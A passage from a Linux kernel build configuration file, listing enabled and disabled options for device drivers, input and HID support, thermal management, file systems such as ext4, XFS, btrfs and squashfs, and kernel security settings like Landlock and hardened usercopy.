CONFIG_SYSFB=y
# CONFIG_SYSFB_SIMPLEFB is not set
# CONFIG_GOOGLE_FIRMWARE is not set

#
# Tegra firmware driver
#
# end of Tegra firmware driver
# end of Firmware Drivers

# CONFIG_GNSS is not set
# CONFIG_MTD is not set
# CONFIG_OF is not set
CONFIG_ARCH_MIGHT_HAVE_PC_PARPORT=y
# CONFIG_PARPORT is not set
CONFIG_PNP=y
CONFIG_PNP_DEBUG_MESSAGES=y

#
# Protocols
#
CONFIG_PNPACPI=y
CONFIG_BLK_DEV=y
# CONFIG_BLK_DEV_NULL_BLK is not set
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_LOOP is not set

#
# DRBD disabled because PROC_FS or INET not selected
#
# CONFIG_BLK_DEV_RAM is not set
# CONFIG_CDROM_PKTCDVD is not set
# CONFIG_VIRTIO_BLK is not set

#
# NVME Support
#
# CONFIG_NVME_FC is not set
# end of NVME Support

#
# Misc devices
#
# CONFIG_DUMMY_IRQ is not set
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_SRAM is not set
# CONFIG_XILINX_SDFEC is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_93CX6 is not set
# end of EEPROM support

#
# Texas Instruments shared transport line discipline
#
# end of Texas Instruments shared transport line discipline

#
# Altera FPGA firmware download module (requires I2C)
#
# CONFIG_ECHO is not set
# CONFIG_PVPANIC is not set
# end of Misc devices

#
# SCSI device support
#
CONFIG_SCSI_MOD=y
# CONFIG_RAID_ATTRS is not set
# CONFIG_SCSI is not set
# end of SCSI device support

# CONFIG_ATA is not set
# CONFIG_MD is not set
# CONFIG_TARGET_CORE is not set
# CONFIG_MACINTOSH_DRIVERS is not set

#
# Input device support
#
CONFIG_INPUT=y
CONFIG_INPUT_FF_MEMLESS=y
# CONFIG_INPUT_SPARSEKMAP is not set
# CONFIG_INPUT_MATRIXKMAP is not set

#
# Userland interfaces
#
# CONFIG_INPUT_MOUSEDEV is not set
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ATKBD=y
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=y
CONFIG_MOUSE_PS2_ALPS=y
CONFIG_MOUSE_PS2_BYD=y
CONFIG_MOUSE_PS2_LOGIPS2PP=y
CONFIG_MOUSE_PS2_SYNAPTICS=y
CONFIG_MOUSE_PS2_CYPRESS=y
CONFIG_MOUSE_PS2_LIFEBOOK=y
CONFIG_MOUSE_PS2_TRACKPOINT=y
# CONFIG_MOUSE_PS2_ELANTECH is not set
# CONFIG_MOUSE_PS2_SENTELIC is not set
# CONFIG_MOUSE_PS2_TOUCHKIT is not set
CONFIG_MOUSE_PS2_FOCALTECH=y
# CONFIG_MOUSE_SERIAL is not set
# CONFIG_MOUSE_APPLETOUCH is not set
# CONFIG_MOUSE_BCM5974 is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_MOUSE_SYNAPTICS_USB is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set
# CONFIG_RMI4_CORE is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_ARCH_MIGHT_HAVE_PC_SERIO=y
CONFIG_SERIO_I8042=y
CONFIG_SERIO_SERPORT=y
# CONFIG_SERIO_CT82C710 is not set
CONFIG_SERIO_LIBPS2=y
# CONFIG_SERIO_RAW is not set
# CONFIG_SERIO_ALTERA_PS2 is not set
# CONFIG_SERIO_PS2MULT is not set
# CONFIG_SERIO_ARC_PS2 is not set
# CONFIG_USERIO is not set
# CONFIG_GAMEPORT is not set
# end of Hardware I/O ports
# end of Input device support

#
# Character devices
#
CONFIG_TTY=y
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_VT_CONSOLE_SLEEP=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
CONFIG_UNIX98_PTYS=y
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=256
CONFIG_LDISC_AUTOLOAD=y

#
# Serial drivers
#
# CONFIG_SERIAL_8250 is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_KGDB_NMI is not set
# CONFIG_SERIAL_UARTLITE is not set
CONFIG_CONSOLE_POLL=y
# CONFIG_SERIAL_LANTIQ is not set
# CONFIG_SERIAL_SCCNXP is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
# CONFIG_SERIAL_ARC is not set
# CONFIG_SERIAL_FSL_LPUART is not set
# CONFIG_SERIAL_FSL_LINFLEXUART is not set
# end of Serial drivers

# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NULL_TTY is not set
# CONFIG_SERIAL_DEV_BUS is not set
# CONFIG_VIRTIO_CONSOLE is not set
# CONFIG_IPMI_HANDLER is not set
CONFIG_HW_RANDOM=y
# CONFIG_HW_RANDOM_TIMERIOMEM is not set
# CONFIG_HW_RANDOM_BA431 is not set
CONFIG_HW_RANDOM_VIA=y
# CONFIG_HW_RANDOM_VIRTIO is not set
# CONFIG_HW_RANDOM_XIPHERA is not set
# CONFIG_MWAVE is not set
CONFIG_DEVMEM=y
# CONFIG_NVRAM is not set
# CONFIG_HPET is not set
# CONFIG_HANGCHECK_TIMER is not set
# CONFIG_TCG_TPM is not set
# CONFIG_TELCLOCK is not set
CONFIG_RANDOM_TRUST_CPU=y
CONFIG_RANDOM_TRUST_BOOTLOADER=y
# end of Character devices

#
# I2C support
#
# CONFIG_I2C is not set
# end of I2C support

# CONFIG_I3C is not set
# CONFIG_SPI is not set
# CONFIG_SPMI is not set
# CONFIG_HSI is not set
# CONFIG_PPS is not set

#
# PTP clock support
#
CONFIG_PTP_1588_CLOCK_OPTIONAL=y

#
# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks.
#
# end of PTP clock support

# CONFIG_PINCTRL is not set
# CONFIG_GPIOLIB is not set
# CONFIG_W1 is not set
# CONFIG_POWER_RESET is not set
CONFIG_POWER_SUPPLY=y
# CONFIG_POWER_SUPPLY_DEBUG is not set
CONFIG_POWER_SUPPLY_HWMON=y
# CONFIG_PDA_POWER is not set
# CONFIG_TEST_POWER is not set
# CONFIG_BATTERY_DS2780 is not set
# CONFIG_BATTERY_DS2781 is not set
# CONFIG_BATTERY_BQ27XXX is not set
# CONFIG_CHARGER_MAX8903 is not set
# CONFIG_BATTERY_GOLDFISH is not set
CONFIG_HWMON=y
# CONFIG_HWMON_DEBUG_CHIP is not set

#
# Native drivers
#
# CONFIG_SENSORS_ABITUGURU is not set
# CONFIG_SENSORS_ABITUGURU3 is not set
# CONFIG_SENSORS_AS370 is not set
# CONFIG_SENSORS_AXI_FAN_CONTROL is not set
# CONFIG_SENSORS_APPLESMC is not set
# CONFIG_SENSORS_ASPEED is not set
# CONFIG_SENSORS_CORSAIR_CPRO is not set
# CONFIG_SENSORS_CORSAIR_PSU is not set
# CONFIG_SENSORS_DELL_SMM is not set
# CONFIG_SENSORS_F71805F is not set
# CONFIG_SENSORS_F71882FG is not set
# CONFIG_SENSORS_CORETEMP is not set
# CONFIG_SENSORS_IT87 is not set
# CONFIG_SENSORS_MAX197 is not set
# CONFIG_SENSORS_MR75203 is not set
# CONFIG_SENSORS_PC87360 is not set
# CONFIG_SENSORS_PC87427 is not set
# CONFIG_SENSORS_NTC_THERMISTOR is not set
# CONFIG_SENSORS_NCT6683 is not set
# CONFIG_SENSORS_NCT6775 is not set
# CONFIG_SENSORS_NPCM7XX is not set
# CONFIG_SENSORS_SMSC47M1 is not set
# CONFIG_SENSORS_SMSC47B397 is not set
# CONFIG_SENSORS_VIA_CPUTEMP is not set
# CONFIG_SENSORS_VT1211 is not set
# CONFIG_SENSORS_W83627HF is not set
# CONFIG_SENSORS_W83627EHF is not set

#
# ACPI drivers
#
# CONFIG_SENSORS_ACPI_POWER is not set
# CONFIG_SENSORS_ATK0110 is not set
CONFIG_THERMAL=y
# CONFIG_THERMAL_STATISTICS is not set
CONFIG_THERMAL_EMERGENCY_POWEROFF_DELAY_MS=0
CONFIG_THERMAL_HWMON=y
CONFIG_THERMAL_WRITABLE_TRIPS=y
CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y
# CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set
# CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE is not set
# CONFIG_THERMAL_GOV_FAIR_SHARE is not set
CONFIG_THERMAL_GOV_STEP_WISE=y
# CONFIG_THERMAL_GOV_BANG_BANG is not set
CONFIG_THERMAL_GOV_USER_SPACE=y
# CONFIG_THERMAL_EMULATION is not set

#
# Intel thermal drivers
#
# CONFIG_INTEL_POWERCLAMP is not set
CONFIG_X86_THERMAL_VECTOR=y
CONFIG_X86_PKG_TEMP_THERMAL=y

#
# ACPI INT340X thermal drivers
#
# end of ACPI INT340X thermal drivers

# CONFIG_INTEL_TCC_COOLING is not set
# CONFIG_INTEL_MENLOW is not set
# end of Intel thermal drivers

# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y
# CONFIG_SSB is not set
CONFIG_BCMA_POSSIBLE=y
# CONFIG_BCMA is not set

#
# Multifunction device drivers
#
# CONFIG_MFD_MADERA is not set
# CONFIG_HTC_PASIC3 is not set
# CONFIG_MFD_INTEL_LPSS_ACPI is not set
# CONFIG_MFD_INTEL_PMC_BXT is not set
# CONFIG_MFD_KEMPLD is not set
# CONFIG_MFD_MT6397 is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_MFD_SYSCON is not set
# CONFIG_MFD_TI_AM335X_TSCADC is not set
# CONFIG_MFD_TQMX86 is not set
# end of Multifunction device drivers

# CONFIG_REGULATOR is not set
# CONFIG_RC_CORE is not set
# CONFIG_MEDIA_CEC_SUPPORT is not set
# CONFIG_MEDIA_SUPPORT is not set

#
# Graphics support
#
# CONFIG_DRM is not set

#
# ARM devices
#
# end of ARM devices

#
# Frame buffer Devices
#
# CONFIG_FB is not set
# end of Frame buffer Devices

#
# Backlight & LCD device support
#
# CONFIG_LCD_CLASS_DEVICE is not set
# CONFIG_BACKLIGHT_CLASS_DEVICE is not set
# end of Backlight & LCD device support

#
# Console display driver support
#
CONFIG_VGA_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=80
CONFIG_DUMMY_CONSOLE_ROWS=25
# end of Console display driver support
# end of Graphics support

# CONFIG_SOUND is not set

#
# HID support
#
CONFIG_HID=y
# CONFIG_HID_BATTERY_STRENGTH is not set
# CONFIG_HIDRAW is not set
# CONFIG_UHID is not set
CONFIG_HID_GENERIC=y

#
# Special HID drivers
#
CONFIG_HID_A4TECH=y
# CONFIG_HID_ACRUX is not set
CONFIG_HID_APPLE=y
# CONFIG_HID_AUREAL is not set
CONFIG_HID_BELKIN=y
CONFIG_HID_CHERRY=y
# CONFIG_HID_COUGAR is not set
# CONFIG_HID_MACALLY is not set
# CONFIG_HID_CMEDIA is not set
CONFIG_HID_CYPRESS=y
# CONFIG_HID_DRAGONRISE is not set
# CONFIG_HID_EMS_FF is not set
# CONFIG_HID_ELECOM is not set
CONFIG_HID_EZKEY=y
# CONFIG_HID_GEMBIRD is not set
# CONFIG_HID_GFRM is not set
# CONFIG_HID_GLORIOUS is not set
# CONFIG_HID_VIVALDI is not set
# CONFIG_HID_KEYTOUCH is not set
# CONFIG_HID_KYE is not set
# CONFIG_HID_WALTOP is not set
# CONFIG_HID_VIEWSONIC is not set
# CONFIG_HID_GYRATION is not set
# CONFIG_HID_ICADE is not set
CONFIG_HID_ITE=y
# CONFIG_HID_JABRA is not set
# CONFIG_HID_TWINHAN is not set
CONFIG_HID_KENSINGTON=y
# CONFIG_HID_LCPOWER is not set
# CONFIG_HID_LENOVO is not set
# CONFIG_HID_MAGICMOUSE is not set
# CONFIG_HID_MALTRON is not set
# CONFIG_HID_MAYFLASH is not set
CONFIG_HID_REDRAGON=y
CONFIG_HID_MICROSOFT=y
CONFIG_HID_MONTEREY=y
# CONFIG_HID_MULTITOUCH is not set
# CONFIG_HID_NTI is not set
# CONFIG_HID_ORTEK is not set
# CONFIG_HID_PANTHERLORD is not set
# CONFIG_HID_PETALYNX is not set
# CONFIG_HID_PICOLCD is not set
# CONFIG_HID_PLANTRONICS is not set
# CONFIG_HID_PLAYSTATION is not set
# CONFIG_HID_PRIMAX is not set
# CONFIG_HID_SAITEK is not set
# CONFIG_HID_SEMITEK is not set
# CONFIG_HID_SPEEDLINK is not set
# CONFIG_HID_STEAM is not set
# CONFIG_HID_STEELSERIES is not set
# CONFIG_HID_SUNPLUS is not set
# CONFIG_HID_RMI is not set
# CONFIG_HID_GREENASIA is not set
# CONFIG_HID_SMARTJOYPLUS is not set
# CONFIG_HID_TIVO is not set
# CONFIG_HID_TOPSEED is not set
# CONFIG_HID_UDRAW_PS3 is not set
# CONFIG_HID_XINMO is not set
# CONFIG_HID_ZEROPLUS is not set
# CONFIG_HID_ZYDACRON is not set
# CONFIG_HID_SENSOR_HUB is not set
# CONFIG_HID_ALPS is not set
# end of Special HID drivers
# end of HID support

CONFIG_USB_OHCI_LITTLE_ENDIAN=y
CONFIG_USB_SUPPORT=y
# CONFIG_USB_ULPI_BUS is not set
CONFIG_USB_ARCH_HAS_HCD=y
# CONFIG_USB is not set

#
# USB port drivers
#

#
# USB Physical Layer drivers
#
# CONFIG_NOP_USB_XCEIV is not set
# end of USB Physical Layer drivers

# CONFIG_USB_GADGET is not set
# CONFIG_TYPEC is not set
# CONFIG_USB_ROLE_SWITCH is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
CONFIG_EDAC_ATOMIC_SCRUB=y
CONFIG_EDAC_SUPPORT=y
# CONFIG_EDAC is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_MC146818_LIB=y
# CONFIG_RTC_CLASS is not set
# CONFIG_DMADEVICES is not set

#
# DMABUF options
#
# CONFIG_SYNC_FILE is not set
# CONFIG_DMABUF_HEAPS is not set
# end of DMABUF options

# CONFIG_AUXDISPLAY is not set
# CONFIG_UIO is not set
# CONFIG_VFIO is not set
# CONFIG_VIRT_DRIVERS is not set
CONFIG_VIRTIO=y
CONFIG_VIRTIO_MENU=y
# CONFIG_VIRTIO_PMEM is not set
# CONFIG_VIRTIO_BALLOON is not set
# CONFIG_VIRTIO_INPUT is not set
# CONFIG_VIRTIO_MMIO is not set
CONFIG_VHOST_MENU=y
# CONFIG_VHOST_CROSS_ENDIAN_LEGACY is not set

#
# Microsoft Hyper-V guest support
#
# end of Microsoft Hyper-V guest support

# CONFIG_GREYBUS is not set
# CONFIG_COMEDI is not set
# CONFIG_STAGING is not set
CONFIG_X86_PLATFORM_DEVICES=y
# CONFIG_ACPI_WMI is not set
# CONFIG_ACERHDF is not set
# CONFIG_ACER_WIRELESS is not set
# CONFIG_ADV_SWBUTTON is not set
# CONFIG_ASUS_WIRELESS is not set
# CONFIG_X86_PLATFORM_DRIVERS_DELL is not set
# CONFIG_FUJITSU_TABLET is not set
# CONFIG_GPD_POCKET_FAN is not set
# CONFIG_X86_PLATFORM_DRIVERS_HP is not set
# CONFIG_WIRELESS_HOTKEY is not set
# CONFIG_SENSORS_HDAPS is not set
# CONFIG_INTEL_SAR_INT1092 is not set
# CONFIG_INTEL_PUNIT_IPC is not set
# CONFIG_INTEL_RST is not set
# CONFIG_INTEL_SMARTCONNECT is not set
# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set
# CONFIG_SAMSUNG_Q10 is not set
# CONFIG_TOSHIBA_BT_RFKILL is not set
# CONFIG_TOSHIBA_HAPS is not set
# CONFIG_ACPI_CMPC is not set
# CONFIG_SYSTEM76_ACPI is not set
# CONFIG_TOPSTAR_LAPTOP is not set
# CONFIG_INTEL_SCU_PLATFORM is not set
# CONFIG_CHROME_PLATFORMS is not set
# CONFIG_MELLANOX_PLATFORM is not set
CONFIG_SURFACE_PLATFORMS=y
# CONFIG_SURFACE_GPE is not set
# CONFIG_SURFACE_PRO3_BUTTON is not set
# CONFIG_COMMON_CLK is not set
# CONFIG_HWSPINLOCK is not set

#
# Clock Source drivers
#
CONFIG_CLKEVT_I8253=y
CONFIG_I8253_LOCK=y
CONFIG_CLKBLD_I8253=y
# end of Clock Source drivers

# CONFIG_MAILBOX is not set
CONFIG_IOMMU_SUPPORT=y

#
# Generic IOMMU Pagetable Support
#
# end of Generic IOMMU Pagetable Support

# CONFIG_IOMMU_DEBUGFS is not set
# CONFIG_VIRTIO_IOMMU is not set

#
# Remoteproc drivers
#
# CONFIG_REMOTEPROC is not set
# end of Remoteproc drivers

#
# Rpmsg drivers
#
# CONFIG_RPMSG_VIRTIO is not set
# end of Rpmsg drivers

# CONFIG_SOUNDWIRE is not set

#
# SOC (System On Chip) specific Drivers
#

#
# Amlogic SoC drivers
#
# end of Amlogic SoC drivers

#
# Broadcom SoC drivers
#
# end of Broadcom SoC drivers

#
# NXP/Freescale QorIQ SoC drivers
#
# end of NXP/Freescale QorIQ SoC drivers

#
# i.MX SoC drivers
#
# end of i.MX SoC drivers

#
# Enable LiteX SoC Builder specific drivers
#
# end of Enable LiteX SoC Builder specific drivers

#
# Qualcomm SoC drivers
#
# end of Qualcomm SoC drivers

# CONFIG_SOC_TI is not set

#
# Xilinx SoC drivers
#
# end of Xilinx SoC drivers
# end of SOC (System On Chip) specific Drivers

# CONFIG_PM_DEVFREQ is not set
# CONFIG_EXTCON is not set
# CONFIG_MEMORY is not set
# CONFIG_IIO is not set
# CONFIG_PWM is not set

#
# IRQ chip support
#
# end of IRQ chip support

# CONFIG_IPACK_BUS is not set
# CONFIG_RESET_CONTROLLER is not set

#
# PHY Subsystem
#
# CONFIG_GENERIC_PHY is not set
# CONFIG_USB_LGM_PHY is not set
# CONFIG_PHY_CAN_TRANSCEIVER is not set
# CONFIG_BCM_KONA_USB2_PHY is not set
# CONFIG_PHY_PXA_28NM_HSIC is not set
# CONFIG_PHY_PXA_28NM_USB2 is not set
# CONFIG_PHY_INTEL_LGM_EMMC is not set
# end of PHY Subsystem

# CONFIG_POWERCAP is not set
# CONFIG_MCB is not set

#
# Performance monitor support
#
# end of Performance monitor support

CONFIG_RAS=y

#
# Android
#
# CONFIG_ANDROID is not set
# end of Android

CONFIG_LIBNVDIMM=y
CONFIG_BLK_DEV_PMEM=y
CONFIG_ND_BLK=y
CONFIG_ND_CLAIM=y
CONFIG_ND_BTT=y
CONFIG_BTT=y
CONFIG_DAX_DRIVER=y
CONFIG_DAX=y
CONFIG_NVMEM=y
# CONFIG_NVMEM_SYSFS is not set
# CONFIG_NVMEM_RMEM is not set

#
# HW tracing support
#
# CONFIG_STM is not set
# CONFIG_INTEL_TH is not set
# end of HW tracing support

# CONFIG_FPGA is not set
# CONFIG_TEE is not set
# CONFIG_UNISYS_VISORBUS is not set
# CONFIG_SIOX is not set
# CONFIG_SLIMBUS is not set
# CONFIG_INTERCONNECT is not set
# CONFIG_COUNTER is not set
# end of Device Drivers

#
# File systems
#
CONFIG_DCACHE_WORD_ACCESS=y
# CONFIG_VALIDATE_FS_PARSER is not set
CONFIG_FS_IOMAP=y
# CONFIG_EXT2_FS is not set
# CONFIG_EXT3_FS is not set
CONFIG_EXT4_FS=y
CONFIG_EXT4_USE_FOR_EXT2=y
CONFIG_EXT4_FS_POSIX_ACL=y
CONFIG_EXT4_FS_SECURITY=y
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD2=y
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=y
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
CONFIG_XFS_FS=y
# CONFIG_XFS_SUPPORT_V4 is not set
CONFIG_XFS_QUOTA=y
CONFIG_XFS_POSIX_ACL=y
CONFIG_XFS_RT=y
CONFIG_XFS_ONLINE_SCRUB=y
CONFIG_XFS_ONLINE_REPAIR=y
# CONFIG_XFS_WARN is not set
# CONFIG_XFS_DEBUG is not set
# CONFIG_GFS2_FS is not set
CONFIG_BTRFS_FS=y
CONFIG_BTRFS_FS_POSIX_ACL=y
# CONFIG_BTRFS_FS_CHECK_INTEGRITY is not set
# CONFIG_BTRFS_FS_RUN_SANITY_TESTS is not set
# CONFIG_BTRFS_DEBUG is not set
# CONFIG_BTRFS_ASSERT is not set
# CONFIG_BTRFS_FS_REF_VERIFY is not set
# CONFIG_NILFS2_FS is not set
# CONFIG_F2FS_FS is not set
CONFIG_FS_DAX=y
CONFIG_FS_POSIX_ACL=y
CONFIG_EXPORTFS=y
CONFIG_EXPORTFS_BLOCK_OPS=y
CONFIG_FILE_LOCKING=y
# CONFIG_FS_ENCRYPTION is not set
# CONFIG_FS_VERITY is not set
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_FANOTIFY=y
CONFIG_FANOTIFY_ACCESS_PERMISSIONS=y
CONFIG_QUOTA=y
# CONFIG_PRINT_QUOTA_WARNING is not set
# CONFIG_QUOTA_DEBUG is not set
# CONFIG_QFMT_V1 is not set
# CONFIG_QFMT_V2 is not set
CONFIG_QUOTACTL=y
CONFIG_AUTOFS4_FS=y
CONFIG_AUTOFS_FS=y
CONFIG_FUSE_FS=y
CONFIG_CUSE=y
CONFIG_VIRTIO_FS=y
CONFIG_FUSE_DAX=y
CONFIG_OVERLAY_FS=y
# CONFIG_OVERLAY_FS_REDIRECT_DIR is not set
# CONFIG_OVERLAY_FS_REDIRECT_ALWAYS_FOLLOW is not set
# CONFIG_OVERLAY_FS_INDEX is not set
# CONFIG_OVERLAY_FS_XINO_AUTO is not set
# CONFIG_OVERLAY_FS_METACOPY is not set

#
# Caches
#
CONFIG_NETFS_SUPPORT=y
# CONFIG_NETFS_STATS is not set
CONFIG_FSCACHE=y
# CONFIG_FSCACHE_STATS is not set
# CONFIG_FSCACHE_DEBUG is not set
# CONFIG_CACHEFILES is not set
# end of Caches

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
CONFIG_UDF_FS=y
# end of CD-ROM/DVD Filesystems

#
# DOS/FAT/EXFAT/NT Filesystems
#
CONFIG_FAT_FS=y
CONFIG_MSDOS_FS=y
CONFIG_VFAT_FS=y
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_FAT_DEFAULT_UTF8 is not set
# CONFIG_EXFAT_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS3_FS is not set
# end of DOS/FAT/EXFAT/NT Filesystems

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_PROC_CHILDREN=y
CONFIG_PROC_PID_ARCH_STATUS=y
CONFIG_KERNFS=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
CONFIG_TMPFS_XATTR=y
# CONFIG_TMPFS_INODE64 is not set
CONFIG_HUGETLBFS=y
CONFIG_HUGETLB_PAGE=y
CONFIG_HUGETLB_PAGE_FREE_VMEMMAP=y
# CONFIG_HUGETLB_PAGE_FREE_VMEMMAP_DEFAULT_ON is not set
CONFIG_MEMFD_CREATE=y
CONFIG_ARCH_HAS_GIGANTIC_PAGE=y
# CONFIG_CONFIGFS_FS is not set
# end of Pseudo filesystems

CONFIG_MISC_FILESYSTEMS=y
# CONFIG_ORANGEFS_FS is not set
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_ECRYPT_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_CRAMFS is not set
CONFIG_SQUASHFS=y
# CONFIG_SQUASHFS_FILE_CACHE is not set
CONFIG_SQUASHFS_FILE_DIRECT=y
CONFIG_SQUASHFS_DECOMP_SINGLE=y
# CONFIG_SQUASHFS_DECOMP_MULTI is not set
# CONFIG_SQUASHFS_DECOMP_MULTI_PERCPU is not set
CONFIG_SQUASHFS_XATTR=y
CONFIG_SQUASHFS_ZLIB=y
CONFIG_SQUASHFS_LZ4=y
CONFIG_SQUASHFS_LZO=y
CONFIG_SQUASHFS_XZ=y
CONFIG_SQUASHFS_ZSTD=y
# CONFIG_SQUASHFS_4K_DEVBLK_SIZE is not set
# CONFIG_SQUASHFS_EMBEDDED is not set
CONFIG_SQUASHFS_FRAGMENT_CACHE_SIZE=3
# CONFIG_VXFS_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_OMFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX6FS_FS is not set
# CONFIG_ROMFS_FS is not set
# CONFIG_PSTORE is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set
CONFIG_EROFS_FS=y
# CONFIG_EROFS_FS_DEBUG is not set
CONFIG_EROFS_FS_XATTR=y
CONFIG_EROFS_FS_POSIX_ACL=y
CONFIG_EROFS_FS_SECURITY=y
CONFIG_EROFS_FS_ZIP=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=y
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
# CONFIG_NLS_CODEPAGE_850 is not set
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
CONFIG_NLS_ASCII=y
CONFIG_NLS_ISO8859_1=y
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
# CONFIG_NLS_ISO8859_15 is not set
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
# CONFIG_NLS_MAC_ROMAN is not set
# CONFIG_NLS_MAC_CELTIC is not set
# CONFIG_NLS_MAC_CENTEURO is not set
# CONFIG_NLS_MAC_CROATIAN is not set
# CONFIG_NLS_MAC_CYRILLIC is not set
# CONFIG_NLS_MAC_GAELIC is not set
# CONFIG_NLS_MAC_GREEK is not set
# CONFIG_NLS_MAC_ICELAND is not set
# CONFIG_NLS_MAC_INUIT is not set
# CONFIG_NLS_MAC_ROMANIAN is not set
# CONFIG_NLS_MAC_TURKISH is not set
CONFIG_NLS_UTF8=y
# CONFIG_UNICODE is not set
CONFIG_IO_WQ=y
# end of File systems

#
# Security options
#
CONFIG_KEYS=y
# CONFIG_KEYS_REQUEST_CACHE is not set
# CONFIG_PERSISTENT_KEYRINGS is not set
# CONFIG_BIG_KEYS is not set
# CONFIG_ENCRYPTED_KEYS is not set
# CONFIG_KEY_DH_OPERATIONS is not set
CONFIG_SECURITY_DMESG_RESTRICT=y
CONFIG_SECURITY=y
# CONFIG_SECURITYFS is not set
# CONFIG_SECURITY_NETWORK is not set
CONFIG_SECURITY_PATH=y
CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y
CONFIG_HARDENED_USERCOPY=y
# CONFIG_HARDENED_USERCOPY_FALLBACK is not set
CONFIG_FORTIFY_SOURCE=y
# CONFIG_STATIC_USERMODEHELPER is not set
# CONFIG_SECURITY_LOADPIN is not set
# CONFIG_SECURITY_YAMA is not set
# CONFIG_SECURITY_SAFESETID is not set
# CONFIG_SECURITY_LOCKDOWN_LSM is not set
CONFIG_SECURITY_LANDLOCK=y
# CONFIG_INTEGRITY is not set
CONFIG_DEFAULT_SECURITY_DAC=y
CONFIG_LSM="landlock,lockdown,yama,loadpin,safesetid,integrity,bpf"

#
# Kernel hardening options
#

#
# Memory initialization
#
CONFIG_INIT_STACK_NONE=y
# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set
